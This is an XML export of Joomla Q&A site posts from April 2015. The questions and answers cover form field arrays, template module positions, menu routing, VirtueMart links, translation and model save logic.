  <row Id="9389" PostTypeId="1" AcceptedAnswerId="9390" CreationDate="2015-04-08T23:00:01.290" Score="2" ViewCount="1580" Body="&lt;p&gt;I am trying to load a array of form fields as below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;grade.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field  name=&quot;gralev_code[]&quot; &#xA;  type=&quot;text&quot; &#xA;  class=&quot;width20&quot;&#xA;  label=&quot;JSCH_GRALEV_CODE&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;form-&amp;gt;getInput('gralev_code[]')&#xA;$this-&amp;gt;form-&amp;gt;getInput('gralev_code[]')&#xA;$this-&amp;gt;form-&amp;gt;getInput('gralev_code[]')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above shows 3 text fields in the form however the values are not received in the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure whether this is achievable or not?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2020-04-19T16:06:51.730" Title="Array of form fields" Tags="|joomla-3.x|component|jform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9390" PostTypeId="2" ParentId="9389" CreationDate="2015-04-08T23:16:46.357" Score="4" Body="&lt;p&gt;I manged to get a solution as below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field  name=&quot;gralev_code][]&quot; &#xA;  type=&quot;text&quot; &#xA;  class=&quot;width20&quot;&#xA;  label=&quot;JSCH_GRALEV_CODE&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in model.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$formdata = $this-&amp;gt;_jinput-&amp;gt;get('jform', '', 'array');&#xA;$vals = $formdata['gralev_code'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On higher Joomla versions from 3.4 use the below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gralev_code][&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2020-04-19T16:06:51.730" LastActivityDate="2020-04-19T16:06:51.730" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="9391" PostTypeId="1" CreationDate="2015-04-09T00:03:48.717" Score="0" ViewCount="423" Body="&lt;p&gt;I am trying to add a new module position to the top of my joomla template. I have followed all of the steps outlined in this article:&lt;br&gt;&#xA;&lt;a href=&quot;https://www.gavick.com/documentation/joomla-templates/customizing-joomla-template/how-to-add-new-module-position&quot; rel=&quot;nofollow&quot;&gt;https://www.gavick.com/documentation/joomla-templates/customizing-joomla-template/how-to-add-new-module-position&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I get to the final step, the module is never in the exact position where I want it. I need the module to be in the upper right section of the page for a login box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone provide information on what I am missing to place the module exactly where I want it to be?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4032" LastEditorUserId="126" LastEditDate="2015-06-08T11:47:38.633" LastActivityDate="2016-01-18T09:52:59.127" Title="How to add a new module position in joomla 3.X" Tags="|joomla-3.x|module|templates|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9393" PostTypeId="2" ParentId="9391" CreationDate="2015-04-09T02:38:15.463" Score="3" Body="&lt;p&gt;I'm going to assume that when you say &lt;code&gt;the module is never in the exact position where I want it&lt;/code&gt;, it means your new module position &lt;em&gt;is&lt;/em&gt; rendered, but not the way you expect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the tutorial you've used mention:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To make the module match the look of the template, you may need to adjust the CSS files&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You probably need to position the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; correctly using CSS. An exact answer is not possible unless you can give access to a live site, tell us what template you're using, or at least provide a screenshot. But first of all I suggest you check your source code or Firebug/Chrome Developer tools (press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt;, or &lt;kbd&gt;F12&lt;/kbd&gt;) and see if your module HTML is rendered where you expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is, then you will have to play around with CSS in order to position it correctly. &lt;a href=&quot;http://learnlayout.com/position.html&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; has an introduction on how to position elements using CSS.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-04-09T02:38:15.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9394" PostTypeId="1" CreationDate="2015-04-09T07:05:50.013" Score="2" ViewCount="254" Body="&lt;p&gt;First off, I apologize if this question has been asked before, (Though I was unable to find it, if it were).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is that right now I have a sub menu item pointing to a article where the visitor is then redirected to the correct shop (According to his/her language).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that I have developed a new shop and would like to point my sub menu item to the new shop, if I however do this, it will break all the internal links I have In my articles / modules which point to this sub menu point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fully grasp what my issue is please see below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**Current Main Menu (Visible)**&#xA;&#xA;Purchase - Points to &quot;Buy here&quot; (Menu Item Alias)&#xA;  - Buy here -&amp;gt; Points to article (URL: /purchase/buy-here.html)&#xA;  - Other sub menu item&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want to do but breaks / generates route errors is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**Altered Main Menu (Visible)**&#xA;&#xA;Purchase - Points to &quot;/shop.html&quot; (Menu Item Alias)&#xA;  - Buy here -&amp;gt; Points to &quot;/shop.html&quot; (Menu Item Alias)&#xA;  - Other sub menu item&#xA;&#xA;&#xA;**Shop menu (Hidden)**&#xA;shop - Main shop page (URL: /shop.html)&#xA;   - Shop related link&#xA;   - Shop related link&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I do this all the links that I have in my article that points to the &quot;Buy here&quot; breaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can of course go through all my articles and modules and change the link accordingly before updating the main menu, but it's easy to miss a link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can update / avoid breaking my internal links?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Errors:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice: Undefined index: view in /components/com_content/router.php on line 67&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if Gzip'ing is enabled in Joomla I get this error aswell&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error code: ERR_CONTENT_DECODING_FAILED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not looking for a temporary solution or a quick fix, so .htaccess will not solve the issue as the main link will still be there.&lt;/p&gt;&#xA;" OwnerUserId="2179" LastEditorUserId="2179" LastEditDate="2015-04-27T07:00:51.503" LastActivityDate="2016-03-02T10:47:00.333" Title="Mass update single internal link" Tags="|menu-item|menu|redirect|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9395" PostTypeId="2" ParentId="9385" CreationDate="2015-04-09T07:10:47.807" Score="1" Body="&lt;p&gt;Values are in coming from field type &lt;code&gt;status&lt;/code&gt; in file &lt;code&gt;administrator/components/com_content/models/forms/filter_articles.xml&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This field looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;published&quot;&#xA;    type=&quot;status&quot;&#xA;    label=&quot;COM_CONTENT_FILTER_PUBLISHED&quot;&#xA;    description=&quot;COM_CONTENT_FILTER_PUBLISHED_DESC&quot;&#xA;    onchange=&quot;this.form.submit();&quot;&#xA;    &amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;JOPTION_SELECT_PUBLISHED&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you add more &lt;code&gt;option&lt;/code&gt; tags, it will show up. &lt;strong&gt;But this is core file, so it's strongly not recommended to edit this.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should safely override this file, so if you update Joomla!, it won't be overwritten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See discussion on &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=583380&quot; rel=&quot;nofollow&quot;&gt;Joomla! forum: Overriding Form Field XML?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;a href=&quot;http://extensions.joomla.org/profile/extension/miscellaneous/form-xml-override&quot; rel=&quot;nofollow&quot;&gt;Form XML Override&lt;/a&gt; extension should help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you add new state, you should add it to edit view too. Edit view form XML is in same folder: &lt;code&gt;administrator/components/com_content/models/forms/article.xml&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This state gets store in database field type &lt;code&gt;tinyint(3)&lt;/code&gt;, so your &lt;code&gt;option&lt;/code&gt; value should regard this.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-04-09T07:10:47.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9396" PostTypeId="1" AcceptedAnswerId="9397" CreationDate="2015-04-09T08:28:14.943" Score="1" ViewCount="131" Body="&lt;p&gt;I'm developing my own component for Joomla but I'm beginner in PHP and don't know how to get the names of parents. I have the table &lt;strong&gt;#__records&lt;/strong&gt; (for example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id  name           parent&#xA;1   ChildName      2&#xA;2   ParentName1    0&#xA;3   ParentName2    0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I have the field &lt;strong&gt;name=&quot;parent&quot; type=&quot;list&quot;&lt;/strong&gt; at &lt;strong&gt;admin.../models/forms/record.xml&lt;/strong&gt;. If I open the record &quot;ChildName&quot; at back-end for editing I see the drop-down list for choosing parent but it's empty. I need to get the names of parents i.e. &quot;ParentName1, ParentName2&quot; at this list. What do I need to write in &lt;strong&gt;admin.../models/record.php&lt;/strong&gt; at function getItem() or somewhere else ?&lt;/p&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2015-04-09T08:47:40.357" Title="How to get the names of parents in simple component" Tags="|joomla-3.x|component|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9397" PostTypeId="2" ParentId="9396" CreationDate="2015-04-09T08:40:23.557" Score="2" Body="&lt;p&gt;Do it with &lt;a href=&quot;https://docs.joomla.org/SQL_form_field_type&quot; rel=&quot;nofollow&quot;&gt;SQL form field type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;  name=&quot;parent&quot;&#xA;  type=&quot;sql&quot;&#xA;  label=&quot;Select parent&quot;&#xA;  query=&quot;SELECT id, name FROM `#__records` WHERE `parent`='0'&quot;&#xA;  key_field=&quot;id&quot;&#xA;  value_field=&quot;name&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Please select parent&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;create a custom form field type&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With custom form field, you could show childs under parents, like category selects etc. It gives you more flexibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like you are doing category type thing. If so, you should use built in category manager. See &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_a_MVC_Component/Adding_categories&quot; rel=&quot;nofollow&quot;&gt;Joomla! Docs: Developing a MVC Component/Adding categories&lt;/a&gt; on how to add categories to custom component.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-04-09T08:47:40.357" LastActivityDate="2015-04-09T08:47:40.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9398" PostTypeId="1" CreationDate="2015-04-09T09:33:47.067" Score="0" ViewCount="81" Body="&lt;p&gt;I'm fixing a client's website...&#xA;His website uses Joomla 2.5 and VM 2.&#xA;His template is Shaper II store, from Helix...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the cart-view, there's a link before buying button called: Read terms and conditions...&#xA;Its href is &quot;/&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to modify it changing the default.php file that's in /components/com_virtuemart/views/cart/tmpl.&#xA;But nothing changed...&#xA;So, I suppose Helix uses another php file for the cart-view...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, I tried to modify it using JQuery. I used the next code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#link-ID&quot;).attr(&quot;href&quot;, &quot;new-HREF&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it didn't work either... So... any idea about how to change the damn href value?&lt;/p&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="126" LastEditDate="2015-12-04T20:00:20.887" LastActivityDate="2015-12-04T20:00:20.887" Title="Virtuemart Terms &amp; Conditions' Link's href attribute in Helix Template" Tags="|joomla-2.5|templates|virtuemart|helix3|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9399" PostTypeId="1" AcceptedAnswerId="9402" CreationDate="2015-04-09T10:31:26.930" Score="1" ViewCount="241" Body="&lt;p&gt;I would like to know the best / easiest way to change words to another language in Joomla 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a Helix template, Shaper II Store, and most of the website is in Spanish, but some words are in English... How can I translate it? Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DyDWu.png&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="1629" LastEditDate="2015-04-09T21:55:15.237" LastActivityDate="2015-06-12T05:38:12.707" Title="Translate words in login module" Tags="|joomla-2.5|language|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9400" PostTypeId="2" ParentId="9399" CreationDate="2015-04-09T10:36:49.900" Score="0" Body="&lt;p&gt;You simply need to install the Spanish language pack via the Joomla admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extensions&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Language Manager&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Install Language&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select &quot;&lt;strong&gt;Spanish&lt;/strong&gt;&quot; from the list and click &quot;&lt;strong&gt;Install&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-09T10:36:49.900" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9402" PostTypeId="2" ParentId="9399" CreationDate="2015-04-09T11:59:22.977" Score="1" Body="&lt;p&gt;OK, fixed.&#xA;I just modified the php file of the login module.&#xA;It was wrote in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JText::_('  '); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only had to put the text that I wanted inside the parenthesis&lt;/p&gt;&#xA;" OwnerUserId="3573" LastActivityDate="2015-04-09T11:59:22.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9403" PostTypeId="5" CreationDate="2015-04-09T14:27:40.763" Score="0" Body="&lt;h2&gt;Joomla 3.4&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For question regarding Joomla 3.4.x of the Content Management System only. Joomla 3.4.x is a STS (Short Term Support) version. Support ends one month after the next release of Joomla is released. One click upgrades to the next STS or LTS version is possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Both STS and LTS releases, once they have reached the GA (General Availability) status, are fully functional and ready to be used in production environment. The disadvantage of using STS releases is that you will need to update your installation of Joomla more often, while the advantage is that you will have access to new features and extensions earlier.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;History&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.0 was released on September 27, 2012. Originally, it was supposed to be released in July 2012; however, the January/July release schedule was uncomfortable for volunteers, and the schedule was changed to September/March releases &lt;a href=&quot;http://groups.google.com/group/joomla-dev-cms/browse_thread/thread/fd42ad8752150735&quot; rel=&quot;nofollow&quot;&gt;(1)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Important changes&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Responsive by default.&lt;/strong&gt; The default templates (Front-end: Protostar, Back-end: Isis) are fully responsive, and Joomla was the first major CMS to achieve this.&#xA;Twitter Bootstrap integration&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;jQuery&lt;/strong&gt;. As of Joomla 3, jQuery is the default javascript framework. Mootools is still available, but deprecated, and might be removed in future versions.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;New admin interface.&lt;/strong&gt; Big overhaul of admin interface to improve usability&#xA;PostgreSQL support&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Getting Joomla&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The latest version of Joomla can be downloaded from &lt;a href=&quot;http://www.joomla.org/download.html&quot; rel=&quot;nofollow&quot;&gt;http://www.joomla.org/download.html&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Installation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla can be installed on any host with the &lt;a href=&quot;http://www.joomla.org/technical-requirements.html&quot; rel=&quot;nofollow&quot;&gt;minimum system requirements&lt;/a&gt;, or on a local computer using a web server like &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_Apache%E2%80%93MySQL%E2%80%93PHP_packages&quot; rel=&quot;nofollow&quot;&gt;XAMPP, WAMP, LAMP, MAMP etc&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions on how to install Joomla can be found at &lt;a href=&quot;http://docs.joomla.org/Installing_Joomla&quot; rel=&quot;nofollow&quot;&gt;Joomla! Docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="126" LastEditDate="2015-08-21T15:31:42.717" LastActivityDate="2015-08-21T15:31:42.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9404" PostTypeId="4" CreationDate="2015-04-09T14:27:40.763" Score="0" Body="For question regarding Joomla 3.4.x of the Content Management System only. Joomla 3.4.x is a STS (Short Term Support) version. Support ends one month after the next release of Joomla is released. One click upgrades to the next STS or LTS version is possible. " OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-04-09T14:27:40.763" LastActivityDate="2015-04-09T14:27:40.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9405" PostTypeId="1" AcceptedAnswerId="9475" CreationDate="2015-04-09T16:50:31.987" Score="1" ViewCount="475" Body="&lt;p&gt;This is really strange... I receive this error in the console everytime I enter in the product details of some products (not all):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;xmlhttprequest cannot load no 'access-control-allow-origin'&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's an image:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jtdJk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to fix it adding to the htaccess file the next code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Header set Access-Control-Allow-Origin &quot;*&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it didn't work... Can anyone help me? I need help real fast... JQuery doesn't work in that part of the page because of that error...&lt;/p&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="115" LastEditDate="2015-04-15T12:08:26.510" LastActivityDate="2015-04-15T12:08:26.510" Title="XMLHttpRequest cannot load Joomla 2.5 | VM2" Tags="|joomla-2.5|jquery|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9406" PostTypeId="1" CreationDate="2015-04-09T17:05:41.190" Score="1" ViewCount="107" Body="&lt;p&gt;So I have a subcontroller extending &lt;code&gt;JControllerForm&lt;/code&gt; that handles the &lt;code&gt;edit&lt;/code&gt; view of an item in my component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As part of this I'd like to render some associated items, which come from a different DB table and are associated in a 1-M relationship with that table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add that model in &lt;code&gt;JControllerForm&lt;/code&gt; so that it's ready for use in &lt;code&gt;view.html.php&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only real solution I've seen is to have a &lt;code&gt;switch&lt;/code&gt; statement in the master controller &lt;code&gt;display()&lt;/code&gt; method to identify the view and add models at that point, but it strikes me with all these subcontrollers that some method must be overrideable?&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2015-04-10T13:12:56.450" Title="How can I include additional models in a subcontroller?" Tags="|joomla-3.x|development|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9407" PostTypeId="1" AcceptedAnswerId="9408" CreationDate="2015-04-09T20:21:50.833" Score="1" ViewCount="85" Body="&lt;p&gt;In my component, I have 3 tables, 2 object tables (&lt;strong&gt;Course&lt;/strong&gt; and &lt;strong&gt;Module&lt;/strong&gt;), and 1 linking table (&lt;strong&gt;Course_Modules&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my edit form for courses I have a multi-select allowing users to pick 1 or more modules that are part of a course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this is saved, I need to add linking records with the &lt;code&gt;courseId&lt;/code&gt; and &lt;code&gt;moduleId&lt;/code&gt; to Course_modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't want to do this if the &lt;code&gt;save&lt;/code&gt; fails - only if the course record saved correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be innumerable places to make this happen (JTable save(), JControllerForm save(), JTable bind(), JTable store(), in the model), but I'd like it only to happen if the main save succeeded. Does anyone have guidance on how best to do this?&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2015-04-09T21:52:25.783" Title="Where to add M-N linking records after a another record is saved?" Tags="|joomla-3.x|development|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9408" PostTypeId="2" ParentId="9407" CreationDate="2015-04-09T21:40:24.230" Score="2" Body="&lt;p&gt;I would put it in the model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;{&#xA;    $return = parent::save($data);&#xA;&#xA;    if ($return)&#xA;    {&#xA;        $dispatcher = JDispatcher::getInstance();&#xA;        $table = $this-&amp;gt;getTable();&#xA;        $key = $table-&amp;gt;getKeyName();&#xA;        // $pk is the new id of the saved record&#xA;        $pk = (!empty($data[$key])) ? $data[$key] : (int) $this-&amp;gt;getState($this-&amp;gt;getName() . '.id');&#xA;&#xA;        // here your save Course_Modules method&#xA;        return true;&#xA;    } else {&#xA;        return false;   &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Btw. I used to use this method of a third (linking) table too. Until I found the mysql function FIND_IN_SET. &lt;a href=&quot;https://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_find-in-set&quot; rel=&quot;nofollow&quot;&gt;https://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_find-in-set&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can store multiple module_id's in one field called module_ids.&lt;br&gt;&#xA;For example '1,3,4,8'&lt;br&gt;&#xA;With FIND_IN_SET you'll get your (frontend) queries without the need of a third table.&lt;/p&gt;&#xA;" OwnerUserId="3567" LastEditorUserId="3567" LastEditDate="2015-04-09T21:52:25.783" LastActivityDate="2015-04-09T21:52:25.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9409" PostTypeId="2" ParentId="8981" CreationDate="2015-04-09T21:50:38.650" Score="1" Body="&lt;p&gt;As far as I know you shouldn't have to exclude sub-folders inside your Joomla installation like that. It doesn't matter if the folder is part of Joomla or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The line &lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-d&lt;/code&gt; in the default &lt;code&gt;.htaccess&lt;/code&gt; file checks if the request matches an existing folder. If it does, the URL is not rewritten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem might be something else, but probably related to your &lt;code&gt;.htaccess&lt;/code&gt; file. Your question doesn't make it clear if you get a 404 error for &lt;em&gt;all&lt;/em&gt; pages (both Joomla and your subfolder), or only when you try to visit the subfolder (e.g. &lt;a href=&quot;http://example.com/subfolder&quot; rel=&quot;nofollow&quot;&gt;http://example.com/subfolder&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a couple of things you could check:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Comment/uncomment the line &lt;code&gt;# RewriteBase /&lt;/code&gt; by adding/removing the initial &lt;code&gt;#&lt;/code&gt; (depending on current state). If your Joomla installation is located within a subfolder of your domain (e.g. the url to your site is &lt;a href=&quot;http://example.com/joomla&quot; rel=&quot;nofollow&quot;&gt;http://example.com/joomla&lt;/a&gt;), then change it to &lt;code&gt;RewriteBase /joomla&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure no menu item in Joomla has the same alias as your subfolder. Joomla won't let you create an alias that matches an existing folder, but if you created the folder &lt;strong&gt;after&lt;/strong&gt; creating the menu item there might be a conflict.&lt;/li&gt;&#xA;&lt;li&gt;Make sure the &lt;code&gt;.htaccess&lt;/code&gt; file in your subfolder is valid. If possible, rename it to anything you want and try visiting the subfolder again.&lt;/li&gt;&#xA;&lt;li&gt;Make sure the &lt;strong&gt;Joomla&lt;/strong&gt; &lt;code&gt;.htaccess&lt;/code&gt; file is valid. If possible, rename it and try again, or try with a new &lt;code&gt;.htaccess&lt;/code&gt; file from a clean Joomla installation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-04-09T21:50:38.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9410" PostTypeId="2" ParentId="7635" CreationDate="2015-04-09T22:26:13.650" Score="4" Body="&lt;p&gt;Since you're using XAMPP, I assume you're developing the site on your local computer. There's no reason to compress CSS/Javascript (or use Gzip) on a local development site. It makes no noticeable difference, and debugging get's a lot harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leave compression disabled until your site is ready, then try activating the settings on your online server and see if the problem still exists. If it does, you should contact the JCE developers, and probably your host as well.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-04-09T22:26:13.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9411" PostTypeId="1" CreationDate="2015-04-10T04:22:38.493" Score="2" ViewCount="79" Body="&lt;p&gt;I have a Joomla site that I need to update to mobile friendly in preparation for Google's new algorithm.  What is really important to me right now is updating my dynamic item page (I sell a couple hundred products) that adapts to whatever product.  Since these item pages represent about 99% of my webpage, is there a way to just update that to mobile friendly for now?  I don't know how I would do it since I am using an old RocketTheme template that is not responsive.&lt;/p&gt;&#xA;" OwnerUserId="4046" LastEditorUserId="1629" LastEditDate="2015-04-10T04:27:33.453" LastActivityDate="2016-01-22T05:11:39.607" Title="Mobile web pages" Tags="|responsive-web-design|mobile-web-design|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
